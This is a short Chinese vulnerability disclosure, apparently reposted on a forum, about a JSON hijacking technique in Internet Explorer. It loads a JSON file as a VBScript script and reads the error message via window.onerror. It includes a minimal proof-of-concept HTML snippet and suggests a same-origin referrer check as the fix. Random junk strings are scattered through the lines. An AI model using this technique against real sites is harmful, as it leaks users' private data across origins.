IE通用JSON劫持漏洞

admin

简要描述：
: A( ~. E. l8 T* f+ Q: S5 o
& j4 U, P1 r3 _由于某些资源容器对数据处理不当导致json劫持漏洞.
详细说明：
6 @, P( L1 D. w8 ?1 N3 B9 s% K1 `: s由于ie支持vbscript,所以script元素可以指定成vbscript语言:
<script language=vbscript></script>

' P% |# `# ]/ E0 }3 j当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.
漏洞证明：
4 F. w0 F8 ?1 y/ {5 u+ L# R9 d<script>
) D5 y' \8 Z: Qwindow.onerror=function(_){
2 W9 S* o% d5 D7 `1 P7 r. ^2 Y' v7 @alert(_)
}
) m) E/ h+ E1 u' @</script>
# v1 C4 f* D; b5 E3 m. S<script language=vbscript src=1.json></script>
$ S* H5 s: J9 U

1.json:
[{"name":"sogili","age":19}]
修复方案：
网站业务对于这个问题可以通过验证referrer是否为同源来防御